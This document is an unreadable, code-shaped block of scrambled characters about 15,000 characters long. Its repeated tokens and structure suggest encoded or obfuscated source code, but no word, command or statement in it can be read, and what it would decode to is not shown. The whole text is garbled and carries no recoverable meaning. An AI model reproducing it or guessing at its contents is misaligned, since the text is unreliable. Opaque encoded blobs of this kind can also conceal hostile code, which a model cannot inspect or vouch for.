X_E_\TDAMI\TDgKKMMMX_U2 EI\X	AMMEZY[@_Y[DDgMMMMMMMMDMMMMggggMMMEEDMMM-T2_\_\E\Z_XDEI\X	DMSMMME]\UY^Z]	F]\TU^DDMMMMMVIY[[P\_GZVIU2Y[PIY[[@ZVgggMI	]_[	MPMME
DM-]]
X_E\Z_[DEI\X	DVggMMMMMMMMME[_
 E\Z_ZDEI	]_[	DMMMSME\]YUX\UFXUDDMMI	]_[	MPMM2
	

EI	]_[	DVgggMMME]TX^EI	]_[	DDMMMM[_
 E\Z_UDVggMMMMVgMMMMMMMgMMMM^]_^EDggMMIU]ZYXP_\FZVI\Y_ ^PIU]ZYX@Y\VgMMMMMI__^\\MPMMVgBBMM@ggMMMEI__^\\MMLPPMMMMMDMMMMMMMMI__^\\VgMMMI	]_[	MMPMMMMME
DMMMM-2[
^E\Z_[DETXXEDDVggMMMMMMMMMME]]
X_E\Z_TDEI	]_[	DMMSMMME\]YUXYZF_TDDMI	]_[	MPM2
	

EI	]_[	DVgMMMI__^\\MPMM2[
^E\Z_YDEI	]_[	DVgMMI__^\\VggggMMMMMMggMMMMMMMY	_\	ZEDgMMgMMM2[
^E\[UUDE^]_^EDAMMMM]AMMMMME^^3YXDDVgMMMMMgMMMMMMMM	[YY	2U
ZUEDgMMggMMMMMX_T] 
EDMMCMMMM[_
 E\Z^]DMMMCMMT_
	
  \XE,/>=,9%MMCMMMMMM[_
 E\Z^\DAMEYQQ\DDMMCM2[
^E\[Z^DVgMMMMMgMMM[]	ZU_T[EDgMgMMMMIT

MPMMEDVgMMME[_
 E\Z]UDET2_\_\E\X_ZDDDMMgI 2MMPMM-
2E[_
 E\Z^_DAMMMMEDDVggMMMME]]
X_E\Z\[DEI 2DDMIT

MMMPMMMI 2VggMMMMMMgggI	]_[	MMPMMM-]]
X_E\[[]DE	[YY	2U
ZUEDDMMMMRM-[_
 E\Z_[DE	[YY	2U
ZUEDDMMMMWMMMMMOOVgMMMMMME]]
X_E\Z]XDEI	]_[	DMMMMKKMM[_
 E\[^ZDEI	]_[	AMMM]]
X_EZYZDDMMMMPPPMM]DMMMMMgI^UMPMMM2[
^E[[\DE]]
X_E\Z^^DEI	]_[	AMME\[[3\[^DDAMDVgMMMME[_
 E\Z^YDEI^UDMKKMME EIT

6T2_\_\E\Z^XD0DMMMMEL EI^U6T2_\_\E\Z^XD0DMKKMMI^U6[_
 E\Z^XD0MSPMMMMMIT

6[_
 E\Z^[D0DDDMMIT

MPMMI^UVgggMMMMMIT

VggMMMM2TT 
EITU DgMMMMMMgMMMMMMgMMMEL		ET2_\_\E\[T^DDDMMMMVgIZ	
X
YY _MMMPM2[
^E\Z\XDEDVggggMMMMMMMMMMMMEITU MMPPPMM[_
 E_^]DMMITU MMMMPPPMMMMM[_
 E\Z^ZDDMMgIMPMM[]	ZU_T[EDVgMMMMEgMEI6]]
X_E\Z^UD0AMMI6[_
 E\Z^TD0DMMMMMKKMMMMI6]]
X_E\Z^UD0MMMMPPPMMITU gMMMKKMIZ	
X
YY _MM@MEDMMMMMMI6T2_\_\E\Z^TD0MMQMEITU MMMMPPPMT2_\_\E\Z^ZDMMMMRMMMME_\^FUZDMMMWME[FYDDgDMVI	^
]^PZU_VI[ ^  PEI	^
]^S]DRI	^
]^W@I	^
]^VgMMMMMMMMgMIT

MMMMPMEgMMJJMMMMPSMMT2 _U_ EDAgMMM[_
 E\ZY]DMMPSMMY	_\	ZEDAg]]
X_E\ZY\DMMMMMMPSMMTXXEDAg]]
X_E\^[UDMMMPSMMMMMM[_
 E\YU[DETXXEDAMMM[_
 E\[Z^DDAgMM2[
^E\Z^UDMPSMMMMITU AgMMMM2[
^E\ZY_DMPSMMMMIZ	
X
YY _Agg]]
X_E\ZY^DMMPSMIZ	
X
YY _Agggg2[
^E\Z^[DMPSMMMEI2>(?;(?6[_
 E\ZYYD0DMMRMMMMMEDMMMI2>(?;(?62[
^E\ZYYD0MWMMMMIZ	
X
YY _AggMDVgMMMMMMMMMME[_
 E\ZYXDET2_\_\EUZTDDDMMM-	2E2[
^E\ZY[DAMIT

AMMMT2_\_\E\Z\ZDDVgMMMMI 	[TX2YMMPMMMMX_T] 
EDVgMMMMMME-[_
 E\^T\DEI 	[TX2YDMMMMMZ^\2 EI 	[TX2YAMEYY\FX_DAMDDMMg-]]
X_E\ZYZDE	[YY	2U
ZUEDAM[_
 E\ZYUDMMCMMMT2_\_\E[X^DEIT

DDVggMMMMMggggMMMMMME9MMMI

ZDMMMgMMMMMMMMME(MMMMMMI

ZDMMMMgggMMMggggMMMMMgMMU ^ U
EIT

DgMMMIX^T_PYYVI^U\XPEIX^T_S]DRIX^T_W@IX^T_VgMMMMMMEL[_
 E\Z^YDEIT

DMMMMMMM EIT

62[
^E\ZYTD0DMMML]]
X_E\ZX]DEIT

62[
^E\ZYTD0DDMMMMT2_\_\E__YDVgMMI 2YZUMMMMPMIT

62[
^E\ZYTD0VggggMMEL-[_
 E\[[]DEI 2YZUDMMMMMMMEDMM-2[
^E\ZX\DEI 2YZUDMMMMQMEXX]@X]DDMMMM[_
 E__YDVgMMMMMME[T [2_UEI 2YZUDDMMMT2_\_\E\ZX_DVggIT^U
]T2^	MMPMEIT

6[_
 E\Z^UD0DMRMIT

6]]
X_E\Z^UD0MWMMOOVgMMIU[Y\\^MMMPMEIT

62[
^E\ZX^D0DMMRMMMMMEDMMMIT

6[_
 E\ZXYD0MMWM]VgggMMMMMMMMMMEIT^U
]T2^	MMPPPM]]
X_E\ZXXDDMMMMMMMEIU[Y\\^MSMMMM]MMMKKMMM]]
X_E\Z\XDEDMMM@MMMIU[Y\\^MMMMMMQPME^X]UFT_DDMMMMRMM[_
 E\ZXXDMMWMM2[
^E\ZX[DVgMMMMMMMEIT^U
]T2^	MPPPMMM]]
X_E\UTDDMM]]
X_E\ZX_DVgMMMMMMMMMMMEIT^U
]T2^	MMMPPPMMMMM[_
 E_^]DDMMEIU[Y\\^MMSM]MMKKM]]
X_E\Z\XDEDMMMMMM@MMMMMIU[Y\\^MMMQPMMME]YF]_DDMMMRMMM2[
^E\ZX[DMMWMT2_\_\E\ZX_DVgM]]
X_E\ZX[DVggMMUY2 \EI\X	DgggggMMMEL-[_
 E\ZXZDEI\X	DDMMMMMMMVggITX	UZMMPMMEDMMM-T2_\_\E\ZX\DEI\X	DVgMMMMMMEITX	UZMMMQMME[U]@\U]DMMMMMITX	UZMSMMEX_Y_UZX[FYYDDMMMMMVggMI\TMMPMM-]]
X_E\ZXUDEI\X	AMMAMMMMMAMMMM]AMEZZUZ@^[T\DDVggMEL2[
^E\ZX]DEI\TDMMMML2[
^E\[[^DE2[
^E_\TDAMI\TDDMMMMMVgMMEITX	UZMMMMMMSMMMMMME\]YUX^YFY_DDMMMMgMMMMMMMMI 	^ZYZ[MMPM-]]
X_E\ZXUDEI\X	AMMAMMAMMITX	UZM@MME]	TF]_[_DDVgM[_
 E\ZX]DEI 	^ZYZ[DMKKMT2_\_\E\ZXTDE[_
 E\Z[]DAMMI 	^ZYZ[DMMMMPPPMMMM\VggMI	]_[	MMPM-[_
 E\ZXUDEI\X	DVggggMMELT2_\_\E\ZX]DEI	]_[	DDMMMMVgMMMM]TX^EI	]_[	DVgMgMMMMMMM[T [2_UEI\X	DgMMggMMMMMI]_
] MPMM2[
^E\Z[\DEI\X	AMMMM]]
X_E\[Z^DDVgMMEE]]
X_E\^\_DEI\X	DAMM	2	TY_
TEDDMMMMMIYT]XDMMgI\]_MPMIYT]XMMCMMMM2[
^E\ZTDMMCMMI]_
] VgMMMMMMEL-T2_\_\E\Z[_DEI\]_DMMMMMEDMM-T2_\_\E\[XUDEI\]_DMMQMM[_
 E\Z\XDEDMM@MMME\\]_[Z^@YTZUZ^DDMMMVggI^ZU2UMPMMM]]
X_E\Z[^DEE
DMMM-T2_\_\E\ZXUDEI\]_DDVgMMMMEI^ZU2UMPPPMMMOODMMVggggI	]_[	MMPME
DMMM-T2_\_\E\Z[YDEI\X	DVgMMMET2_\_\E\Z_TDEI	]_[	DMMMSMMME\]YUX_XFX\DDMMI	]_[	MMMMMPMM2
	

EI	]_[	DVgMMMMEI	]_[	MLPPMMOOMMKKMT2_\_\E\Z_YDEI	]_[	DMMPPPMMI^ZU2UDMMMMMMMMVgMgMMMMMMMMMMVgMMMMMMgMMMMZ\ ]
	EI\X	DgMgMMMMMEL]]
X_E\Z[XDE2[
^E\Z[[DDMMML]]
X_E\Z[ZDE2[
^E\Z[UDDDMMMVgMI
\MMMPMM-
2ET2_\_\E\Z[TDAMMMEDDVgMEL[_
 E\Z^YDEI
\DDMMI
\MMMMMPMEDVgggMMI
\62[
^E\Z_YDEI\X	D0MMMMMPMMI\X	VgMMMME2[
^E\X\TDEI
\DMMSMMME^_@\_DDMMI
\MMPMMM]]
X_E\ZZ]DEI
\AMMMM@E__@_DAMMAMMDVgM-	2E]]
X_E\ZZ\DAMMMMMI
\AM2[
^E\Z\ZDDVggM
ZEDgMgMMMMMELT2_\_\E\Z[ZDE]]
X_E\ZZ_DDMMML[_
 E\ZZ^DE2[
^E\Z[UDDDMVgI
\MPM-
2E[_
 E\ZZYDAMMEDDVgMMEL]]
X_E\Z^YDEI
\DMMM EI
\DDMMMVgITU[__ MPMMMEDVgMMMMMMMEI
\MMMMI_]_ MMMMMMPSMI 2YZUDMMMgMMMMMMMELT2_\_\E\ZX]DEI 2YZUDMMMMMI 2YZUMMMMMPPPMMOOMMMMMML-[_
 E\ZZXDEI 2YZUDDMMMMVgMMMME	TZ^_Z][UEI 2YZUDMMMMPPPMMMDMMMMMMMITU[__ 6I_]_ 0MMMPMMI 2YZUVMMMMVMMMgM    ^U]EI 2YZUAMMME^TXF_XDDVgMMMMME__2EI 2YZUDDMMMgMMME]]
X_E\ZZ^DE[_
 E\ZZ[DDDMM-2	EI 2YZUAMMDVggggMMMMMMME-T2_\_\E\ZZZDEI 2YZUDDMMMMgMITU[__ 6I_]_ 0MPMMMMI 2YZUVgMMgBBMMM 	ggMMMMMgMM-	2E2[
^E\ZZYDAMMITU[__ AMM2[
^E\Z\ZDDVgMMMMMgggMMMMMMMMMMM2] TYZZEDggggggggMMMMMMMMMMgMMI

ZMPMMMMMM]]
X_E\ZZ^DE2[
^E\[\DDMMMRM-2
2EDMMWMMVggggMMMMEggM2[
^E\Z^YDEI

ZDMMKKMMML EI

Z62[
^E\ZZUD0DMMMKKMMMMML EI

Z6T2_\_\E\[XD0DgMMMMMMKKMMMM[_
 E\_YZDEI

Z6T2_\_\E\[XD0AMME(2(??"?AMM(2=,?>(AMM(2."?(2(??"?AMM(2." =$!(2(??"?AMM(28>(?2(??"?DAMDgMDMMMgBBM:=M$/=WM	M@ggMMMMMMMMIX 
 TMMMPMM-]]
X_E\ZZTDETXXEDDVgggMMMMMI2MMMPMM-2[
^E\ZU]DEI

Z6[_
 E\ZZUD0DVgMMMET2_\_\E\ZX]DEIX 
 TDMMMMKKMMM2[
^E\ZX]DEI2DMMMMMKKMMMMMI2MPPPMIX 
 TDMMMVgg2TT 
E2[
^E\ZXXDDVgMMMMMMMMME		E]]
X_E\ZU\DDDMI
	XP=%=2$#92 ,5B=%=2$#92 ,5VI[\^Y]]]PI
	XFT]VgMMI2TMMMPMM^X2Y[TZ_^^EDVgMMMMMME-T2_\_\E\ZZZDEI2T6\0DDMMMMMgI ]		ZMMMPMMMMMM-]]
X_E\ZU_DEI2T6\0AMMMMMMAMMMMAMMM]AMMMMME^]F^YDDVgMMMMME]]
X_E\ZX]DEI ]		ZDMMKKMMM[_
 E\[^ZDEI ]		ZAMM[_
 E\XU^DMMCMT2 _U_ EDMMMMCMJWJDMMPPPM]DMgMMI
2UX
2[MMMPMM-2[
^E\ZU^DEI2T6\0MMMCM[_
 E\ZUYDDMMRMM-2[
^E\ZUXDEI2T6\0MMMCMMM]]
X_E\ZUYDAMMMMAMMMAM]AMMMMME][F]^DDMWMMOOVgMMMMMMMEI
2UX
2[MMMMLPPMMI ]		ZDMMMM-T2_\_\E\ZU[DEI2T6\0AMI2T6\0MMMCMMMMMM2[
^E\ZUYDDVgMgggggEI2TAMMI ]		ZAMMMI
2UX
2[DVgMMgMMMMMME9MMMIUX
	DMgMMMMMMMME(MMMIUX
	DMMgMgMMMMMgMMZZ]
X
UXEI TU_]DggggMMMMMMgMMMMEL[_
 E\ZX]DEI TU_]DDMMMMOOVgMMMMMMME[_
 E\ZUZDE2[
^E\ZUUDAMMMMI TU_]AMI  \
]DDMMMMMMgMMMMEI  \
]6\0MMMMMMMMI	][Y DMMMMgMME_\ZXET2_\_\E\XYYDEI	][Y AMMDDDMMMOOVgggggMMMMMggMMMMMMME[_
 E\ZUTDE[_
 E\ZT]DAMMMI TU_]AMI  \
]DDMMgMMMMEI  \
]6\0MMMI	][Y DMMMgMMMMMME_\ZXEEI	][Y DDDMMMMMOOVgMMMMMET2_\_\E\[^ZDEI	][Y AMMT2_\_\E\ZT\DDMLPPMMDMMMMgBBMMMggggMMMIY2^ZMMPMMM
22E2[
^E\ZT_DAMM2[
^E\ZT^DAMMMMI	][Y DVgggMMMME2[
^E\ZX]DEIY2^ZDMMKKMMMMIY2^ZMLPPMI	][Y MMMMKKM_\ZXEIY2^ZDDMMMMMOOVggMMMgMgMME2[
^E\ZUTDE]]
X_E\ZTYDAMMMMMI TU_]AMMMMMI  \
]DDMMMgMEI  \
]6\0MMMMMMI	][Y DMMMgME_\ZXE2[
^E\Y][DEE[_
 E\ZTXDAMMM]]
X_E\ZT[DDAMMEJ11JAMJ1JJDAMI	][Y DDDMMMMOOVgMMMMMMME2[
^E\[^ZDEI	][Y AMMT2_\_\E\ZT\DDMMMLPPMMMMDMggIY2^ZMMPMMMMM
22E2[
^E\ZT_DAMMMM2[
^E\ZT^DAMMI	][Y DVgMMMMMET2_\_\E\ZX]DEIY2^ZDMMMKKMMMMIY2^ZMLPPMMI	][Y MKKMMM_\ZXEIY2^ZDDMMMMMOOVgggMMMgMMMMMMgMMgMMMMI TU_]VgMgMMMMY X^EI2XUZDgggMMMMggggMMMMEL2[
^E\ZTZDEI2XUZDMMMMME2[
^E\[^ZDEI2XUZAMM2[
^E\ZTUDDMMMMMMPPPMMMMMMKKMM2[
^E\[^ZDEI2XUZAM]]
X_E\XYYDDMMMPPPMMMMMMDDMMMVgMMME[_
 E\ZUTDE]]
X_E\ZUUDAMMMMI2XUZAMMMMMMI  \
]DDMMgMMMMMMMMMEI  \
]6\0MMMMMMMI	][Y DMMgMMME_\ZXET2_\_\E\XYYDEI	][Y AMMDDDMMVgggMMMMggMMMMMMMME2[
^E\ZUTDE2[
^E\ZT]DAMMMMI2XUZAMMMI  \
]DDMMggggMMMEI  \
]6\0MMMMMI	][Y DMMgMMME_\ZXEEI	][Y DDDMMMMMVggMEI  \
]6\0MMMMMMI	][Y DMgMMMET2_\_\E\[^ZDEI	][Y AMMM[_
 E\ZT\DDMPPPMMDMMVIT
YP_YFXVI_ YXY_PIT
Y@Y^VgMMIY2^ZMPMM
22E2[
^E\ZT_DAMMMMM2[
^E\ZTTDAMMMMI	][Y DVgMMMMMET2_\_\E\ZTZDEIY2^ZDMMKKMMIY2^ZMMMLPPMMMMI	][Y MMMMKKMMM_\ZXEIY2^ZDDMMMMMVgMMMgMMMgMMME[_
 E\ZUTDE2[
^E\ZTYDAMMMI2XUZAMMI  \
]DDMgMMMMMEI  \
]6\0MMMMMMMI	][Y DMggMMMMMMMMME_\ZXE2[
^E\Y][DEE2[
^E\U]]DAMM2[
^E\ZT[DDAMEJ11JAMMJ1JJDAMMI	][Y DDDMMMVgggMMEI  \
]6\0MMMMMI	][Y DMMgME2[
^E\U]\DEI	][Y AM[_
 E\ZT\DDMMMMPPPMMMMMDMMMVgMMMIY2^ZMMPMM
22E[_
 E\ZT_DAMM[_
 E\U]_DAMMI	][Y DVgMMMMMMMMMMET2_\_\E\ZTZDEIY2^ZDMKKMIY2^ZMMMMLPPMMMI	][Y MMMMMMKKM_\ZXEIY2^ZDDMMMMVgggMgMMMMMMMVggggMM_\Z 2EI2XUZDggMMMMMMELT2_\_\E\U]^DEI2XUZDMMMMMI2XUZMPPPMMMOODMMOOVgMMMMMET2_\_\E\U]YDE]]
X_E\U]XDAM[_
 E\Z^^DEI2XUZAMM]AME]\X^[F]DDAMI__^\\DDMMMRMMMI__^\\6\0MWMMOOVgMMgggMMMMMMMU
[TYU] ]
EI	]_[	AMI	Y[2]YUAMMMMMMI[	2X[]^MMMMMPMDgMgMMEL]]
X_E\U]^DEI	]_[	DMMMI	]_[	MPPPMOODMMMMMMI	]_[	VgI^Y^		ZMMPMMMT2_\_\ET\UDMMMCMMI	Y[2]YUMMCMMM[_
 ET\TDVgMMMMMIT  \ \ MMPMMMMMMOOVgggMIY[2ZMMPMMM]VgMMMMMMMMMMEIY[2ZFFMMMMMQMMME\[QQ^DDMggggIX			_XMPMMMT2_\_\E\U]\DEI	]_[	AMI^Y^		ZDVgMMEIX			_XMPPPMMMMDMMVgI _	ZMMMPMIX			_XMMFMMM2[
^E\U][DEI^Y^		ZDVgMMMMI	[MMPMM2[
^E\U]\DEI	]_[	AMM]]
X_E\U]ZDAMMMMMI _	ZDVgMMMMMEI	[MMMPPPMMMMMMI	[MM@MMMMI _	ZMSMMMMME^[F_UDDMMMgIT  \ \ MCPM]]
X_E\U]UDEI	]_[	AMM]AMI _	ZDVgMMI	]_[	MPMM]]
X_E\U]TDEI	]_[	AMMMI _	ZDVgggMMVgMMgMMMMMMMIUTY2MPMMM2[
^E\U]TDEI	]_[	AMI _	ZAMMI	[MM@MMMI _	ZDVgMEL]]
X_E\U]YDE2[
^E\U\]DAMMIUTY2DDMMgMIT  \ \ MMMCPMMM2[
^E\U]TDEI	]_[	AMM]AMMMMI _	ZDVgMMI	]_[	MMPM[_
 E\U]TDEI	]_[	AMMMMMI _	ZDVgMMMMMVgggMggMMMMMIUMPMM[_
 E\U\\DMCMMMMMI	Y[2]YUMMMCMMMT2_\_\E\U\_DMMMMCMMIUTY2MMCMMMMT2_\_\E\U\^DVgMMMIXYY	]T
Y\MMMMMPM[_
 E\U\YDEI	]_[	AMMIUAMMI	[DVgMMMMEIXYY	]T
Y\MMPPPMMMMMMDMMMMVgMMMMMMMMIT  \ \ MCPMMMMMT2_\_\E\U\XDEI	]_[	AMMM]AMMIX			_XDVgIY^ZMMMPMMM2[
^E\U\XDEI	]_[	AMMMIX			_XAMIXYY	]T
Y\MMFMMT2_\_\E\U][DEIUDM@MMMIX			_XDVggMMEI[	2X[]^MMMLPPMMDMMggggMI	]^\^
TMPMM]]
X_E^]UDEI[	2X[]^AMMMMIY^ZDVgMME2[
^E\U]^DEI	]^\^
TDDMMMMIT  \ \ MCPMI	]^\^
TVggMMMMMMgIT  \ \ MCPMIY^ZVgMMgBBM:=M>M/WM@M	ggggMMMMMMMI	]_[	MMMMPMMM]]
X_E\U\XDEI	]_[	AMMIXYY	]T
Y\MMFMMM[_
 E\U\[DEIUDDVggMMMMIT  \ \ MMMMMCMI	]_[	VgMMggggMMMMMMM_2EI TU_]DgMgMMMMMMMMOOVggMMMM_Z__]EI TU_]DgMMgMMEL]]
X_E\U]^DEI TU_]DDMMMMMOOVgMMMEL		E2[
^E\U\ZDDDMMMI TU_]VggMITX_MPMMMT_
	
  \XE,/>=,9%MMCMMM]]
X_E\U\UDAME_^Y3__[DDVgMMMMMMET2_\_\E\U]YDE2[
^E\U\TDMCMMITX_MMMCM2[
^E\U_]DAMMMI TU_]DDMMMMOOVgMMMI TU_]VgMgMMMMMMMYYTEI	]_[	DgMMgggMMMMEL[_
 E\U_\DEI	]_[	DMMMMI	]_[	MMMMMPPPMMMOODMMMMI	]_[	VgMMMMI MMMMMPMU
[TYU] ]
EI	]_[	AM2[
^E\U__DAM[_
 E\U_^DDVgMMMMMMMI MMPMMMU
[TYU] ]
EI AMT2_\_\E\U_YDAMMMMMM[_
 E\U_XDDVgMMMMMMMMMMME[_
 E\U_\DEI DDMMI MMPMMT2_\_\E\[Y\DE]]
X_E\U_[DAMMMOOAMI DVgMMMMMMMEL2[
^E\U_ZDEI DDMI MMMMMPMI	]_[	VgMMMMEY X^EI DDMgMMMMI MMPMMMU
[TYU] ]
EI AMMMT2_\_\E\U__DAMMM2[
^E\U_UDDVgI MMMMMPMU
[TYU] ]
EI AMMMT2_\_\E\U_TDAMMT2_\_\E\U_UDDVgMMMMME[_
 E\U_ZDEI DDMMMI MMMPMMMMM]]
X_E\[Y\DE]]
X_E\U^]DAMMMOOAMI DVgMMMgMMMT2_\_\E\U_ZDEI DMMMRMMMI MMWMI	]_[	VgMMMMMMggggMMM	\]EI	]_[	DggMMEL[_
 E\U_ZDEI	]_[	DMMML		ET2_\_\E\U^\DDDMMVgMMMMET2_\_\E\U]YDET2_\_\E\U^]DAMMMI	]_[	DDMMMMVgMIZ^\ZYMMPMMMMMT_
	
  \XE,/>=,9%MMMCMM[_
 E\U\UDAMMMMME]^F]XDDVgMMMMMMMMME[_
 E\U^_DE]]
X_E\U^^DAMMMI	]_[	AMMMMMI ^	]ZTDDMMgMMMEI ^	]ZT6\0MMMMMMMI ]UDMMMgMMMMME]]
X_E\U\XDEI ]UAMMMMMM@EZF_DDMMPPPMMJWJMMMCMMMMMIZ^\ZYDMMMMVgMMMMgMgMMI2		MPMT2_\_\E\U^YDE[_
 E\U^XDE,/>=,9%MCMMMMT2_\_\E\U^[DDAMMMM]AMMME_X^3_YXDDVI[
2XP^UGYVI T
^
 PI[
2X@YYVgMME]]
X_E\U^ZDE[_
 E\U^UDAMI	]_[	AMMI2	 DDMMggMMMMMMMMMMMMEI2	 6\0MMMMI[ TY]DMMgMMMMMEI[ TY]MMMMPPPMI2		DMMMMMVgMMgMMMMMMgMVgMMMMMggMM		T_Y]2EDgMgMMMMELEI2*(962[
^E\U^TD0DMMMMMML2[
^E\U_ZDEI2*(96[_
 E\U^TD0DMMMMLT2_\_\E\ZZ^DE[_
 E\UY]DDDMMVgMIT^U
]T2^	MMPM-
2E2[
^E\UY\DAMMEDDVggMELT2_\_\E\UY_DEIT^U
]T2^	DDMMMMMVI^[Y] _P^TTVIT
UZPEI^[Y] _S]DRI^[Y] _W@I^[Y] _VgMI ^T2MMMMPMMMME
DMMI2*(96]]
X_E\U^TD0VgggMMMI	][MPMMEDVgMMMMMMMMMEEIT^U
]T2^	6JJ0DDMMI	][60MPMME
DMMMMMMIT^U
]T2^	6JJ0VggMMMMEEIT^U
]T2^	6]]
X_E\UY^D0DMKKMMM2[
^E\UY_DEIT^U
]T2^	62[
^E\UY^D0DDMMgMMMEIT^U
]T2^	6]]
X_E\UY^D0MMMMMIT _ZYXDMMMMMgBBMMM	ggMMMMMME]]
X_E\UYYDEIT _ZYXDMMMKKMMMMEIT _ZYX6JJ0DDMMMMMI	][60MMMPMME
DMIT _ZYX6JJ0VggggggMMMMMMgMI]MMMMMPMVgMMEI	][MMI]_XTDMMMMMMgMMMMMMEI]_XTMMMPPPMMOODMMMVggggI]MPM2[
^E\ZZ^DE[_
 E\UYXDDMMRM2EI]_XTAMI ^T2DMMMWMEI]_XTMMPPPMMMMI ^T2DVgMMEI]DMMMMMMVgMgMMMMMELI]DMMVgMME2[
^E\ZZ^DE[_
 E\XYDDDMMMMMggggT2_\_\E\UY[DEMEDMMMMEI ^T2DMgMMMO1QL@@>.&WOMMMCMMI ^T2MMCM]]
X_E\UYZDVgggMMMMDVggMMMgMgMMM
\^[EDggMMMELT2_\_\E\UYUDE2[
^E\UY]DDDMMMMMMVIZ]\2TP=%=2 ,'"?2;(?>$"#VI2\
^PIZ]\2TGUVgMMMMI__^\\MMMMMMPMMMMMM-
2E]]
X_E\UYTDAMOODVgMMMMMEL2[
^E\U_ZDEI__^\\DMMMMM]]
X_E\UX]DEI__^\\AMMM]]
X_E\UX\DDMMLPPMM]DMMMMMMMVgMMIU[Y\\^MMMPMMEDMT2_\_\E\U^YDEI__^\\AMMME]XF]\DDVggMMMMMMEIU[Y\\^MKKMMMM2[
^E\Z\XDEDMM@MIU[Y\\^MMMSMMMMEU[^]UFT_DDMMMMMMMVgMMMMMMMMVggMMMMMMMM_[_Z2^TEI\X	AMMMMMI]]	DgMMgMMMMMMMMEL[_
 E\UYUDE]]
X_E\Z[UDDMMMMMML[_
 E\UYUDE[_
 E\UY[DDDMMMMVggMME
\^[EDDMMVgMMMMIT^U
]T2^	MMPMMMMM-
2E[_
 E\UY\DAMMEDDVgMMMMMMELT2_\_\E\UYYDEIT^U
]T2^	DDMMIT^U
]T2^	MMMPMEDVgggMELEIT^U
]T2^	6T2_\_\E\UY^D0DMMMML2[
^E\UX_DEIT^U
]T2^	62[
^E\UY^D0DDMMgBBM:=M>M!M MggMMMI	Z^ \Y	MMMPMMMMMMEDVgggMMMMEEIT^U
]T2^	6JJ0AMMMMIT^U
]T2^	6JJ0AMMIT^U
]T2^	6JJ0DDMMMMI\[_^P_Y_\VIXPI\[_^HUVgI	Z^ \Y	6T2_\_\E\U^XDEE
DMMMIT^U
]T2^	6JJ0D0MMMMMPMMEJJMMMPSME
DMMIT^U
]T2^	6JJ0AMJJMMMMMPSMMMMME
DMMIT^U
]T2^	6JJ0AMMMMMJJMPSMME
DMMIT^U
]T2^	6JJ0AMMM[_
 E\UX^DMMPSMMMMEIT^U
]T2^	6[_
 E\UXYD0DMMMMRMEDMMIT^U
]T2^	6[_
 E\UXYD0MMMMWMM2[
^E\Z\XDEDAMT2_\_\E\UXXDMMMPSMM]AMMJJMMMPSMMM]DVggMMIT^U
]T2^	MMMMPMMME]]
X_E\UY^DMMMPSMMMI	Z^ \Y	DVgMMgMMIUTY2MPMM2[
^E\U^XDEI\X	DVggggMMMMMMMEEIT^U
]T2^	6]]
X_E\UY^D06IUTY20DDMgggIT^U
]T2^	6T2_\_\E\UY^D06IUTY206]]
X_E\UX[D0MPMM[_
 E\Z\XDEDVI[ 2P_T_ZVI	X2]]PI[ 2HXVgMIT^U
]T2^	6T2_\_\E\UY^D06IUTY206[_
 E\UXXD0MMMMPMMM]VgMIT^U
]T2^	6T2_\_\E\UY^D06IUTY206JJ0MPMMMMEI]]	MMPPPMOODMMMMMRMMM\MMWM]VgMMMMMELYY2T  ^\EIT^U
]T2^	62[
^E\UXZD06IUTY206JJ0AMI]]	DDMMI2]XXP[YF^TVI U PI2]XX@[VgM]Y\
\[ZET2_\_\E\UXUDAMM[_
 E\UXTDDVgMMMMVgMMMgMMMMMMMMMgI 	[TX2YMMPMMMX_T] 
EDVIZ	T_^P=%=2 ,'"?2;(?>$"#VI
]^PIZ	T_^GYVgI]_\TMMMPMMMI 	[TX2YMMCMM[_
 E\U[]DMMCMT_
	
  \XEI\X	AMMME^FTDDMCMMMMMM2[
^E\U[\DVgMMMMELYY2T  ^\EI]_\TAMMMI]]	DDMMMMgM]Y\
\[ZE2[
^E\UXUDAMMMM[_
 E\UXTDDVggggMMMMMMVggggMMMggMMMMMIT^U
]T2^	6T2_\_\E\U[_D06IUTY20MPMMEJJMPSM
^\ ]_EEUQQ\DDAMMJJMPSMI\X	AMMJJMMPSMMI]_\TAMMT2_\_\E\UX[DMMMMMMPSMMM2[
^E\Z\XDEDAMMMMMT2_\_\E\UXXDMMMMMPSM]AMJJMMMPSMEI]]	MMMMPPPMMMOODMRM\MMWMMM]DVgMMMMMMggggMMMMMME[_
 E\X\TDEIT^U
]T2^	6]]
X_E\U[_D0DMMSMMMME\FTDDMMgMMMIU\ZMMPMMMMVgMMMMMITTT[MPMMMVgMMEIT^U
]T2^	6[_
 E\U[_D0MMMMIZ2UZXMPSMMMMI^	]X\T^2DMMMMgMMMEITTT[MMMPPPMMMMMEDMMMI^	]X\T^262[
^E\U[^D0MMQMMMMITTT[DMMMgMMMMMMITTT[MMPMEDMMMMI^	]X\T^26[_
 E\U[YD0VgIU\ZMMPMMIZ2UZXVgMMMMMgMgBBM$MWMMggMMMMMEIU\ZMMMPPPMMDMMMMMMVgMMMMM__2EIT^U
]T2^	6[_
 E\U[_D06IU\Z06JJ0DVgMEIT^U
]T2^	6T2_\_\E\U[XD06IU\Z0DVgMMMMMgM-	2ET2_\_\E\UY\DAMMIT^U
]T2^	AM]]
X_E\Z\ZDDVgggMM[_
 E\UY[DE2[
^E\U[[DDVgMMMVgMgMMMM \U_^YEI^X	_]
^]DgMMMMMgMMMI]YZ		MMMPMMMM-2[
^E\U[ZDEI^X	_]
^]AME2[
^EUTYDMMMMPSMMME^FTDAM]]
X_EZ[]DMMPSMMMMAMMM[_
 EY^_DMMPSMMMAMMMM2[
^E\\X\DMMMPSMM]AMM[_
 E\\X[DMMMPSME]]
X_E\U[UDMPSMM[_
 E\U[TDAMMM2[
^E\UZ]DMPSMMMMM]]
X_E\\X^DDDDVgMMME]]
X_E\UYUDET2_\_\E^\^DDMKKM22EI]YZ		DDMMMMMMME@\AMMDVgI]_]XMPMT2_\_\E\UYUDE[_
 E\UZ\DDMRMMEDMM2 222	EI]YZ		DMMMMWM]VIZP\G[VIXPIZ@_UVgMMMMMMMEI]_]XAMMMMI]_]XMMMMSMMMM]MMMMKKMMMMM2[
^E\UYUDET2_\_\E\UZ_DDMMMRME
DMMMMMM2 22	EI]YZ		DMMMMMMWMMMOODVgMMMgMMMMMMMY 
\U 2^UEIT _ZYXDgMgMMI[T\\ ]ZMMMMMMPMM-T2_\_\E\ZUXDEIT _ZYX6JJ0DVgMMEL[_
 E\U_ZDEI[T\\ ]ZDDMMMMMVgMMEI[T\\ ]ZMPPPMOODMMMMggggMMME EIT _ZYX6JJ0DDMMMMMMVMMMMMgI^ ^ UMMPMML-]]
